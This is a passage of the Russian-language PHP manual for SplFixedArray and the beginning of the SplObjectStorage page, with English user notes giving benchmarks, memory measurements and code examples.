  • SplFixedArray::setSize — Изменяет размер массива
  • SplFixedArray::toArray — Возвращает обычный PHP-массив со значениями фиксированного массива
  • SplFixedArray::__unserialize — Десериализует параметр data в объект SplFixedArray
  • SplFixedArray::valid — Проверяет массив на наличие элементов
  • SplFixedArray::__wakeup — Переинициализация массива после десериализации

User Contributed Notes

CK 12-Feb-2023 01:51
Be warned that SplFixedArray does not provide all of the main functionalities of array. For example, it does not support array_slice. SplFixedArray should be far more efficient at supporting such array operations than normal arrays (since it should be simply a contiguous slice). Check that all your main array functions are really supported before trying to use SplFixedArray instead of array. With JIT in PHP8, some loops to polyfill these are perhaps now realistic, but still not as fast as native functions.
herhor67 at interia dot pl 31-Dec-2019 06:23
Memory usage for arrays of 1132766 ints (data derived from some 1kx1k img):
Regular:  76453160B (67.5B/int)
SplFixed: 18898744B (16.7B/int)

In my application, SFA uses 75% less RAM, which is a life-saver.

Speed comparison:
Regular: 449ms
SplFixed (resized before every element): 791ms
SplFixed (fully preallocated): 392ms
SplFixed (preall-d to 1M and then resized): 547ms

Pros and cons:
+ much more efficient RAM-wise
+ a bit faster if max size is known
~ a bit slower if max size is only approximated
- much slower if max size is not known
- cannot be used with most array functions

To sum up:
SplFixedArray is a very good choice for storing giant amount of data, though only as long as you at least roughly know the size and can work without array functions.
Anonymous 08-Jan-2018 01:04
getSize() and count() return the same value
php at stij dot nospam dot npeete dot nospam dot rs dot nl 28-Dec-2017 06:55
Note that (as of PHP 7.1) SplFixedArray uses 16 bytes (!) per array item. This can be checked easily via:

<?php
ini_set('memory_limit', '4M');
$array = new SplFixedArray(1000000);
//PHP Fatal error:  Allowed memory size of 4194304 bytes exhausted (tried to allocate 16000000 bytes)
?>

So if you're considering SplFixedArray because you need to use large arrays with very large numbers of items, make sure you have enough memory to support them.
Anonymous 03-Nov-2017 12:04
PHP Arrays are very fast, and faster overall, especially in PHP7. You almost never need this. There are some cases where using this is better than using arrays but beware that they aren't that obvious.
artaxerxes 13-Nov-2012 04:41
As the documentation says, SplFixedArray is meant to be *faster* than array. Do not blindly believe other people's benchmarks, and beextra careful with the user comments on php.net. For instance, nairbv's benchmark code is completely wrong. Among other errors, it intends to increase the size of the arrays, but always initialize a 20 elements SplFixedArray.

On a PHP 5.4 64 bits linux server, I found SplFixedArray to be always faster than array().
* small data (1,000):
    * write: SplFixedArray is 15 % faster
    * read:  SplFixedArray is  5 % faster
* larger data (512,000):
    * write: SplFixedArray is 33 % faster
    * read:  SplFixedArray is 10 % faster
alex dot andrienko at gmail dot com 15-Nov-2010 02:13
Memory footprint of splFixedArray is about 37% of a regular "array" of the same size.
I was hoping for more, but that's also significant, and that's where you should expect to see difference, not in "performance".
chrisstocktonaz at gmail dot com 14-Jul-2009 11:07
Note, that this is considerably faster and should be used when the size of the array is known. Here are some very basic bench marks:

<?php
for($size = 1000; $size < 50000000; $size *= 2) {
    echo PHP_EOL . "Testing size: $size" . PHP_EOL;
    for($s = microtime(true), $container = Array(), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "Array(): " . (microtime(true) - $s) . PHP_EOL;

    for($s = microtime(true), $container = new SplFixedArray($size), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "SplArray(): " . (microtime(true) - $s) . PHP_EOL;
}
?>

OUTPUT
Testing size: 1000
Array(): 0.00046396255493164
SplArray(): 0.00023293495178223

Testing size: 2000
Array(): 0.00057101249694824
SplArray(): 0.0003058910369873

Testing size: 4000
Array(): 0.0015869140625
SplArray(): 0.00086307525634766

Testing size: 8000
Array(): 0.0024251937866211
SplArray(): 0.00211501121521

Testing size: 16000
Array(): 0.0057680606842041
SplArray(): 0.0041120052337646

Testing size: 32000
Array(): 0.011334896087646
SplArray(): 0.007631778717041

Testing size: 64000
Array(): 0.021990060806274
SplArray(): 0.013560056686401

Testing size: 128000
Array(): 0.053267002105713
SplArray(): 0.030976057052612

Testing size: 256000
Array(): 0.10280108451843
SplArray(): 0.056283950805664

Testing size: 512000
Array(): 0.20657992362976
SplArray(): 0.11510300636292

Testing size: 1024000
Array(): 0.4138810634613
SplArray(): 0.21826505661011

Testing size: 2048000
Array(): 0.85640096664429
SplArray(): 0.46247816085815

Testing size: 4096000
Array(): 1.7242450714111
SplArray(): 0.95304894447327

Testing size: 8192000
Array(): 3.448086977005
SplArray(): 1.96746301651


Создаёт новый массив фиксированной длины

  • « SplFixedArray
  • SplFixedArray::count »
  • PHP Manual
  • SplFixedArray
  • Создаёт новый массив фиксированной длины

SplFixedArray::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::__construct — Создаёт новый массив фиксированной длины

Описание

public SplFixedArray::__construct(int $size = 0)

Создаёт фиксированный массив с числом null значений, равных size.

Список параметров

size

Размер фиксированного массива. Ожидается значение между 0 и PHP_INT_MAX.

Ошибки

Выбрасывает исключение ValueError, если параметр size отрицателен.

Список изменений

Версия | Описание
8.0.0 | Теперь выбрасывает исключение ValueError, если параметр size отрицателен; ранее выбрасывалось исключение InvalidArgumentException.

Примеры

Пример #1 Пример использования SplFixedArray::__construct()

<?php
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

foreach($array as $v) {
var_dump($v);
}
?>

Результат выполнения данного примера:

NULL
int(2)
NULL
NULL
string(3) "foo"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер массива

  • « SplFixedArray::__construct
  • SplFixedArray::current »
  • PHP Manual
  • SplFixedArray
  • Возвращает размер массива

SplFixedArray::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::count — Возвращает размер массива

Описание

public SplFixedArray::count(): int

Возвращает размер массива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер массива.

Примеры

Пример #1 Пример SplFixedArray::count()

<?php
$array = new SplFixedArray(5);
echo $array->count() . "\n";
echo count($array) . "\n";
?>

Результат выполнения данного примера:

5
5

Примечания

Замечание:

Этот метод эквивалентен SplFixedArray::getSize().

Замечание:

Число элементов всегда равно заданному размеру, т.к. все значения первоначально инициализируются как null.

Смотрите также

  • SplFixedArray::getSize() - Получает размер массива

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий элемент массива

  • « SplFixedArray::count
  • SplFixedArray::fromArray »
  • PHP Manual
  • SplFixedArray
  • Возвращает текущий элемент массива

SplFixedArray::current

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::current — Возвращает текущий элемент массива

Описание

public SplFixedArray::current(): mixed

Получает текущий элемент массива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий элемент массива.

Ошибки

Выбрасывает исключение RuntimeException, когда внутренний указатель массива указывает на неверный индекс или вышел за допустимые пределы.

User Contributed Notes

kishor10d at gmail dot com 12-Jun-2019 08:49
<?php

/**
 * current() : It returns current element in the SplFixedArray.
 */

$arr = new SplFixedArray(5);

$arr[1] = 2;
$arr[2] = "foo";

var_dump($arr->current());
echo "<br>";

$arr->next();
var_dump($arr->current());
echo "<br>";

$arr->next();
var_dump($arr->current());
echo "<br>";

?>

The output of this will be:

NULL
int(2)
string(3) "foo"


Импортирует PHP-массив в объект класса SplFixedArray

  • « SplFixedArray::current
  • SplFixedArray::getIterator »
  • PHP Manual
  • SplFixedArray
  • Импортирует PHP-массив в объект класса SplFixedArray

SplFixedArray::fromArray

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::fromArray — Импортирует PHP-массив в объект класса SplFixedArray

Описание

public static SplFixedArray::fromArray(array $array, bool $preserveKeys = true): SplFixedArray

Импортирует PHP-массив array в новый объект класса SplFixedArray

Список параметров

array

Массив, который следует импортировать.

preserveKeys

По возможности сохранить численные индексы, заданные в оригинальном массиве.

Возвращаемые значения

Возвращает объект класса SplFixedArray, содержащий данные из импортированного массива.

Примеры

Пример #1 Пример использования SplFixedArray::fromArray()

<?php
$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3));

var_dump($fa);

$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3), false);

var_dump($fa);
?>

Результат выполнения данного примера:

object(SplFixedArray)#1 (4) {
  [0]=>
  int(2)
  [1]=>
  int(1)
  [2]=>
  NULL
  [3]=>
  int(3)
}
object(SplFixedArray)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

MuLoT 10-Dec-2010 09:15
Memory footprint tests :

<?php
echo memory_get_usage()."\n"; // display 627760
$array = array_fill( 0, 2048, 'a' );
echo memory_get_usage()."\n"; // 824744, so 196984 for $array

unset( $array );

echo memory_get_usage()."\n"; // 627792
$spl=SplFixedArray::fromArray( array_fill( 0, 2048, 'a' ) );
echo memory_get_usage()."\n"; //644944, so just 17151 for $spl !!!
?>


Получает итератор для перехода по массиву

  • « SplFixedArray::fromArray
  • SplFixedArray::getSize »
  • PHP Manual
  • SplFixedArray
  • Получает итератор для перехода по массиву

SplFixedArray::getIterator

(PHP 8)

SplFixedArray::getIterator — Получает итератор для перехода по массиву

Описание

public SplFixedArray::getIterator(): Iterator

Возвращает итератор для перехода по массиву

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр объекта, реализующего Iterator для прохождения по массиву.

User Contributed Notes

There are no user contributed notes for this page.


Получает размер массива

  • « SplFixedArray::getIterator
  • SplFixedArray::jsonSerialize »
  • PHP Manual
  • SplFixedArray
  • Получает размер массива

SplFixedArray::getSize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::getSize — Получает размер массива

Описание

public SplFixedArray::getSize(): int

Получает размер массива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер массива как int.

Примеры

Пример #1 Пример использования SplFixedArray::getSize()

<?php
$array = new SplFixedArray(5);
echo $array->getSize()."\n";
$array->setSize(10);
echo $array->getSize()."\n";
?>

Результат выполнения данного примера:

5
10

Примечания

Замечание:

Данный метод эквивалентен SplFixedArray::count()

Смотрите также

  • SplFixedArray::count() - Возвращает размер массива

User Contributed Notes

c dot 1 at smithies dot org 21-Nov-2010 05:38
This function is currently a synonym for count().


Возвращает представление, которое может быть преобразовано в JSON

  • « SplFixedArray::getSize
  • SplFixedArray::key »
  • PHP Manual
  • SplFixedArray
  • Возвращает представление, которое может быть преобразовано в JSON

SplFixedArray::jsonSerialize

(PHP 8 >= 8.1.0)

SplFixedArray::jsonSerialize — Возвращает представление, которое может быть преобразовано в JSON

Описание

public SplFixedArray::jsonSerialize(): mixed

Сериализует массив в значение, которое может быть сериализовано нативно с помощью функции json_encode().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив данных, который может быть сериализован функцией json_encode(), представляющий собой значение любого типа, отличного от ресурса (resource).

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс текущего элемента массива

  • « SplFixedArray::jsonSerialize
  • SplFixedArray::next »
  • PHP Manual
  • SplFixedArray
  • Возвращает индекс текущего элемента массива

SplFixedArray::key

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::key — Возвращает индекс текущего элемента массива

Описание

public SplFixedArray::key(): int

Возвращает индекс текущего элемента массива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Индекс текущего элемента массива.

User Contributed Notes

There are no user contributed notes for this page.


Переходит к следующему элементу массива

  • « SplFixedArray::key
  • SplFixedArray::offsetExists »
  • PHP Manual
  • SplFixedArray
  • Переходит к следующему элементу массива

SplFixedArray::next

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::next — Переходит к следующему элементу массива

Описание

public SplFixedArray::next(): void

Перемещает итератор на следующий элемент массива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

kishor10d at gmail dot com 27-Jun-2019 12:27
<?php

/**
* Example : rewind();
*/

$arr = new SplFixedArray(5);

$a = $arr->key(); //Zero'th index
var_dump($a);
echo "<br>";

$arr->next(); // Shift to first index
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next(); // Shift to second index
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next();  // Shift to third index
$a = $arr->key();
var_dump($a);
echo "<br>";
?>

The above example will output:

int(0)
int(1)
int(2)
int(3)


Возвращает факт наличия указанного индекса массива

  • « SplFixedArray::next
  • SplFixedArray::offsetGet »
  • PHP Manual
  • SplFixedArray
  • Возвращает факт наличия указанного индекса массива

SplFixedArray::offsetExists

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::offsetExists — Возвращает факт наличия указанного индекса массива

Описание

public SplFixedArray::offsetExists(int $index): bool

Проверяет существование индекса index в массиве.

Список параметров

index

Индекс, который необходимо проверить.

Возвращаемые значения

true, если требуемый index существует, в противном случае false

User Contributed Notes

depoemarc at swap dot fn dot ln dot googlemail dot com 25-Jun-2015 02:47
It should be noted that offsetExists behaves like "offsetIsSet" rather than "offsetIsValid":

<?php
$arr = new SplFixedArray(3);
var_dump($arr->offsetExists(1)); // false

$arr[1] = 42; // $arr->offsetSet(1, 42);
var_dump($arr->offsetExists(1)); // true

$arr[1] = null; // $arr->offsetSet(1, null);
var_dump($arr->offsetExists(1)); // true

unset($arr[1]); // $arr->offsetUnset(1);
var_dump($arr->offsetExists(1)); // false

var_dump($arr);
/*
object(SplFixedArray)[1]
  null
  null
  null
*/
?>


Возвращает значение по указанному индексу

  • « SplFixedArray::offsetExists
  • SplFixedArray::offsetSet »
  • PHP Manual
  • SplFixedArray
  • Возвращает значение по указанному индексу

SplFixedArray::offsetGet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::offsetGet — Возвращает значение по указанному индексу

Описание

public SplFixedArray::offsetGet(int $index): mixed

Возвращает значение по индексу index.

Список параметров

index

Индекс.

Возвращаемые значения

Значение по индексу index.

Ошибки

Выбрасывает исключение RuntimeException, когда параметр index выходит за рамки заданного размера массива или когда index нельзя распознать как целое число.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает новое значение по заданному индексу

  • « SplFixedArray::offsetGet
  • SplFixedArray::offsetUnset »
  • PHP Manual
  • SplFixedArray
  • Устанавливает новое значение по заданному индексу

SplFixedArray::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::offsetSet — Устанавливает новое значение по заданному индексу

Описание

public SplFixedArray::offsetSet(int $index, mixed $value): void

По индексу index устанавливает значение value.

Список параметров

index

Индекс, по которому устанавливается значение.

value

Новое значение для индекса index.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение RuntimeException, когда index превышает заданный размер массива или когда index нельзя распознать как целое число.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет значение по индексу $index

  • « SplFixedArray::offsetSet
  • SplFixedArray::rewind »
  • PHP Manual
  • SplFixedArray
  • Удаляет значение по индексу $index

SplFixedArray::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::offsetUnset — Удаляет значение по индексу $index

Описание

public SplFixedArray::offsetUnset(int $index): void

Удаляет значение по заданному индексу.

Список параметров

index

Индекс, по которому удаляется значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение RuntimeException, когда index превышает заданный размер массива или когда index нельзя распознать как целое число.

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 08:07
This function assigns NULL to the array element. Its use has no effect on count(). Whereas assigning NULL to an element will have no effect on isset(), offsetUnset() and unset() do. Whereas unsetting an element affects the behaviour of foreach() as applied to an array or an ArrayObject, it has no such effect on SplFixedArray, as demonstrated by the code below.

<?php

class atest extends SplFixedArray {
  public function fill() {
    for ($i = $this->count(); --$i >= 0; ) $this[$i] = $i;
  }
  public function dump() {
    $sep = ' ';
    foreach ($this as $k => $v) {
      echo $sep, "$k: ", (is_null($v) ? 'NULL' : $v);
      if (!isset($this[$k])) echo ' and unset';
      $sep = ', ';
    }
    echo PHP_EOL;
  }
}

$a = new atest(3);
$a->dump(); //  0: NULL and unset, 1: NULL and unset, 2: NULL and unset
$a->fill();
$a->dump(); //  0: 0, 1: 1, 2: 2
$a[1] = NULL;
unset($a[2]);
$a->dump(); //  0: 0, 1: NULL, 2: NULL and unset
?>


Устанавливает итератор массива в начало

  • « SplFixedArray::offsetUnset
  • SplFixedArray::__serialize »
  • PHP Manual
  • SplFixedArray
  • Устанавливает итератор массива в начало

SplFixedArray::rewind

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::rewind — Устанавливает итератор массива в начало

Описание

public SplFixedArray::rewind(): void

Устанавливает итератор массива в начало.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

kishor10d at gmail dot com 12-Jun-2019 05:13
<?php

/**
 * Example : rewind();
 */

$arr = new SplFixedArray(5);

$arr[1] = 2;
$arr[4] = "foo";

$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next();
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next();
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->rewind();
$a = $arr->key();
var_dump($a);
echo "<br>";
?>

The above example will output:

int(0)
int(1)
int(2)
int(0)


Сериализует объект SplFixedArray

  • « SplFixedArray::rewind
  • SplFixedArray::setSize »
  • PHP Manual
  • SplFixedArray
  • Сериализует объект SplFixedArray

SplFixedArray::__serialize

(PHP 8 >= 8.2.0)

SplFixedArray::__serialize — Сериализует объект SplFixedArray

Описание

public SplFixedArray::__serialize(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Изменяет размер массива

  • « SplFixedArray::__serialize
  • SplFixedArray::toArray »
  • PHP Manual
  • SplFixedArray
  • Изменяет размер массива

SplFixedArray::setSize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::setSize — Изменяет размер массива

Описание

public SplFixedArray::setSize(int $size): bool

Устанавливает размер массива в значение size. Если size меньше текущего размера массива, то все лишние значения отбрасываются. Если же size больше текущего размера массива, то массив будет дополнен null значениями.

Список параметров

size

Новое значение размера массива. Ожидается значение между 0 и PHP_INT_MAX.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает исключение InvalidArgumentException, когда size меньше нуля.

Вызывает ошибку уровня E_WARNING, когда size нельзя обработать как число.

Примеры

Пример #1 Пример использования SplFixedArray::setSize()

<?php
$array = new SplFixedArray(5);
echo $array->getSize()."\n";
$array->setSize(10);
echo $array->getSize()."\n";
?>

Результат выполнения данного примера:

5
10

User Contributed Notes

There are no user contributed notes for this page.


Возвращает обычный PHP-массив со значениями фиксированного массива

  • « SplFixedArray::setSize
  • SplFixedArray::__unserialize »
  • PHP Manual
  • SplFixedArray
  • Возвращает обычный PHP-массив со значениями фиксированного массива

SplFixedArray::toArray

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::toArray — Возвращает обычный PHP-массив со значениями фиксированного массива

Описание

public SplFixedArray::toArray(): array

Возвращает обычный PHP-массив со значениями фиксированного массива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает PHP-массив (array), составленный из значений фиксированного массива.

Примеры

Пример #1 Пример использования SplFixedArray::toArray()

<?php
$fa = new SplFixedArray(3);
$fa[0] = 0;
$fa[2] = 2;
var_dump($fa->toArray());
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  int(0)
  [1]=>
  NULL
  [2]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Десериализует параметр data в объект SplFixedArray

  • « SplFixedArray::toArray
  • SplFixedArray::valid »
  • PHP Manual
  • SplFixedArray
  • Десериализует параметр data в объект SplFixedArray

SplFixedArray::__unserialize

(PHP 8 >= 8.2.0)

SplFixedArray::__unserialize — Десериализует параметр data в объект SplFixedArray

Описание

public SplFixedArray::__unserialize(array $data): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Десериализуемое значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет массив на наличие элементов

  • « SplFixedArray::__unserialize
  • SplFixedArray::__wakeup »
  • PHP Manual
  • SplFixedArray
  • Проверяет массив на наличие элементов

SplFixedArray::valid

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::valid — Проверяет массив на наличие элементов

Описание

public SplFixedArray::valid(): bool

Проверяет массив на наличие элементов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если массив содержит хотя бы один элемент, и false в противном случае.

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 08:13
This function will return TRUE whenever the iterator is within the array bounds, even if unset() has been called on the current element.


Переинициализация массива после десериализации

  • « SplFixedArray::valid
  • SplObjectStorage »
  • PHP Manual
  • SplFixedArray
  • Переинициализация массива после десериализации

SplFixedArray::__wakeup

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

SplFixedArray::__wakeup — Переинициализация массива после десериализации

Описание

public SplFixedArray::__wakeup(): void

Проинициализирует массив после десериализации.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс SplObjectStorage

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Класс SplObjectStorage предоставляет отображение объектов в данные или набор объектов, игнорируя данные. Эта двойная цель может быть полезна во многих случаях, включая необходимость уникальной идентификации объектов.

Обзор классов

class SplObjectStorage implements Countable, Iterator, Serializable, ArrayAccess {
/* Методы */
public addAll(SplObjectStorage $storage): int
public attach(object $object, mixed $info = null): void
public contains(object $object): bool
public count(int $mode = COUNT_NORMAL): int
public current(): object
public detach(object $object): void
public getHash(object $object): string
public getInfo(): mixed
public key(): int
public next(): void
public offsetExists(object $object): bool
public offsetGet(object $object): mixed
public offsetSet(object $object, mixed $info = null): void
public offsetUnset(object $object): void
public removeAll(SplObjectStorage $storage): int
public removeAllExcept(SplObjectStorage $storage): int
public rewind(): void
public serialize(): string
public setInfo(mixed $info): void
public unserialize(string $data): void
public valid(): bool
}

Примеры

Пример #1 Класс SplObjectStorage как набор объектов

<?php
// Набор объектов
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new stdClass;

$s->attach($o1);
$s->attach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));

$s->detach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

Пример #2 Класс SplObjectStorage как отображение объектов в данные

<?php
// Как отображение объектов к данным
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new stdClass;

$s[$o1] = "данные для объекта 1";
$s[$o2] = array(1,2,3);

if (isset($s[$o2])) {
var_dump($s[$o2]);
}
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

Содержание

  • SplObjectStorage::addAll — Добавляет все объекты из другого контейнера
  • SplObjectStorage::attach — Добавляет объект в контейнер
  • SplObjectStorage::contains — Проверяет, содержит ли контейнер заданный объект
  • SplObjectStorage::count — Возвращает количество объектов в контейнере
  • SplObjectStorage::current — Возвращает текущий объект
  • SplObjectStorage::detach — Удаляет объект object из контейнера
  • SplObjectStorage::getHash — Вычисляет уникальный идентификатор для объектов контейнера
  • SplObjectStorage::getInfo — Возвращает данные, ассоциированные с текущим объектом
  • SplObjectStorage::key — Возвращает индекс текущего положения итератора
  • SplObjectStorage::next — Переход к следующему объекту
  • SplObjectStorage::offsetExists — Проверяет, существует ли объект в контейнере
  • SplObjectStorage::offsetGet — Возвращает данные, ассоциированные с объектом object
  • SplObjectStorage::offsetSet — Ассоциирует данные с объектом в контейнере
  • SplObjectStorage::offsetUnset — Удаляет объект из контейнера
  • SplObjectStorage::removeAll — Удаляет из текущего контейнера объекты, которые есть в другом контейнере
  • SplObjectStorage::removeAllExcept — Удаляет из текущего контейнера все объекты, которых нет в другом контейнере
  • SplObjectStorage::rewind — Переводит итератор на первый элемент контейнера
  • SplObjectStorage::serialize — Сериализует контейнер
  • SplObjectStorage::setInfo — Ассоциирует данные с текущим объектом контейнера
  • SplObjectStorage::unserialize — Восстанавливает сериализованый контейнер из строки
  • SplObjectStorage::valid — Определяет, допустимо ли текущее значение итератора

User Contributed Notes

jan at odvarko dot cz 20-May-2021 06:32
If you assign an array() to an object in SplObjectStorage and then try to modify its individual elements, you'll probably find it doesn't work.
Instead, you can use ArrayObject(), which will emulate array behaviour.

<?php

$storage = new SplObjectStorage();

$obj1 = new StdClass();
$obj2 = new StdClass();

$storage[$obj1] = array();
$storage[$obj2] = new ArrayObject();

$storage[$obj1]['person'] = 'Jana'; // Won't work  (PHP Notice:  Indirect modification of overloaded element of SplObjectStorage has no effect)
$storage[$obj2]['person'] = 'Jana'; // Works

var_dump($storage[$obj1]['person']); // NULL  (PHP Notice:  Undefined index: person)
var_dump($storage[$obj2]['person']); // string(4) "Jana"

?>
rafal at pawlukiewicz dot com 04-Mar-2019 10:21
SplObjectStorage class can be nicely used in Observer pattern, for example:

<?php
class Subject implements \SplSubject
{
    private $observers;

    public function __construct()
    {
        $this->observers = new \SplObjectStorage;
    }

    public function attach(\SplObserver $observer)
    {
        $this->observers->attach($observer);
    }

    public function detach(\SplObserver $observer)
    {
        $this->observers->detach($observer);
    }

    public function notify()
    {
        foreach ($this->observers as $observer) {
            $observer->update($this);
        }
    }
}
?>
grzeniufication 15-Jul-2017 08:35
<?php
/**
  * For simple use cases (where you want to keep objects in a map)
  * I would suggest to stick to an plain old array. Just use the object
  * hash as array key.
  */
$entity1 = new stdClass();
$entity2 = new stdClass();
$entities = [];
$entities[spl_object_hash($entity1)] = $entity1;
$entities[spl_object_hash($entity2)] = $entity2;

// object hashes are hard to distinguish so you could run a hash function
// on them for better readability.
$entities[md5(spl_object_hash($entity1))] = $entity1;
$entities[md5(spl_object_hash($entity2))] = $entity2;

print_r($entities);
divinity76 at gmail dot com 05-May-2017 05:58
if you're looking for a ResourceStorage, check https://gist.github.com/divinity76/b8041e073b74bdeab562a075fc94217f

(i needed it for socket programming with socket_select())
frame86 at live dot com 31-Aug-2016 08:29
Keep in mind that foreach() will copy your array before iterating, SplObjectStorage does not. If you have a sub call within an iteration that also calls foreach() on the object storage again, the iterator position collides!

To be safe use:
<?php
foreach(clone $myStorage as $obj) {

}
?>
kris dot lamote at it-kitchen dot be 22-May-2015 07:41
For anyone having issues with SplObjectStorages containing corrupt member variables after garbage collection (FatalErrorException after serializing): we used following fix to great effect
<?php

class FixedSplObjectStorage extends SplObjectStorage
{

    public function serialize()
    {
        $goodPortion = 'N;;m:a:0:{}';
        $startKey = 'N;;m:a:';

        $serialized = parent::serialize();

        $startPos = strpos($serialized, $startKey);

        if ($startPos !== false) {
            $serialized = substr_replace($serialized, $goodPortion, $startPos, -1);

        }

        return $serialized;

    }
}

?>
m dot drewek at smf dot de 28-Jan-2015 08:49
Please note that SplObjectStorage has a Bug introduced with 5.4.0, breaking object lookup in cloned instances of derived classes that overwrite getHash().

This is a confirmed Bug: https://bugs.php.net/bug.php?id=67582

Example:
<?php
class MyObjectStorage extends SplObjectStorage {
    // Overwrite getHash() with just some (working) test-method
    public function getHash($object) { return get_class($object); }
}

class TestObject {}

$list = new MyObjectStorage(); // No issues if using "new SplObjectStorage()"
$list->attach(new TestObject());

foreach($list as $x) var_dump($list->offsetExists($x)); // TRUE

$list2 = clone $list;
foreach($list2 as $x) var_dump($list2->offsetExists($x)); // FALSE
?>
Marius 20-Nov-2014 10:54
Do not use SplObjectStorage::detach when forach'ing over items in the storage as this skips the second (and only second) element.

Example:

<?php

class A {
    public $i;
    public function __construct($i) {
        $this->i = $i;
    }
}

$container = new \SplObjectStorage();

$container->attach(new A(1));
$container->attach(new A(2));
$container->attach(new A(3));
$container->attach(new A(4));
$container->attach(new A(5));

foreach ($container as $item) {
    echo $item->i . "\n";
    $container->detach($item);
}
echo "== Left in storage ==\n";
foreach ($container as $item) {
    echo $item->i . "\n";
}
/* Outputs:
1
3
4
5
== Left in storage ==
2
*/
?>
Adam Monsen 07-Jan-2014 05:48
Note some inconsistent/surprising behavior in SplObjectStorage to preserve backwards compatibility. You can't properly use foreach with key/value syntax.

<?php
$spl = new SplObjectStorage ();
$keyForA = new StdClass();
$keyForB = new StdClass();
$spl[$keyForA] = 'value a';
$spl[$keyForB] = 'value b';
foreach ($spl as $key => $value)
{
    // $key is NOT an object, $value is!
    // Must use standard array access to get strings.
    echo $spl[$value] . "\n"; // prints "value a", then "value b"
}
// it may be clearer to use this form of foreach:
foreach ($spl as $key)
{
    // $key is an object.
    // Use standard array access to get values.
    echo $spl[$key] . "\n"; // prints "value a", then "value b"
}
?>

See https://bugs.php.net/bug.php?id=49967
inwebo at gmail dot fr 28-Feb-2012 11:01
I needed to merge SplObjectStorages.
<?php
// As an object set
$SplObjectStorage_1 = new SplObjectStorage();

$object1 = new StdClass;
$object1->attr = 'obj 1';
$object2 = new StdClass;
$object2->attr = 'obj 2';
$object3 = new StdClass;
$object3->attr = 'obj 3';

$SplObjectStorage_1->attach($object1);
$SplObjectStorage_1->attach($object2);
$SplObjectStorage_1->attach($object3);

// Another one object set
$SplObjectStorage_2 = new SplObjectStorage();

$object4 = new StdClass;
$object4->attr = 'obj 4';
$object5 = new StdClass;
$object5->attr = 'obj 5';
$object6 = new StdClass;
$object6->attr = 'obj 6';

$SplObjectStorage_2->attach($object4);
$SplObjectStorage_2->attach($object5);
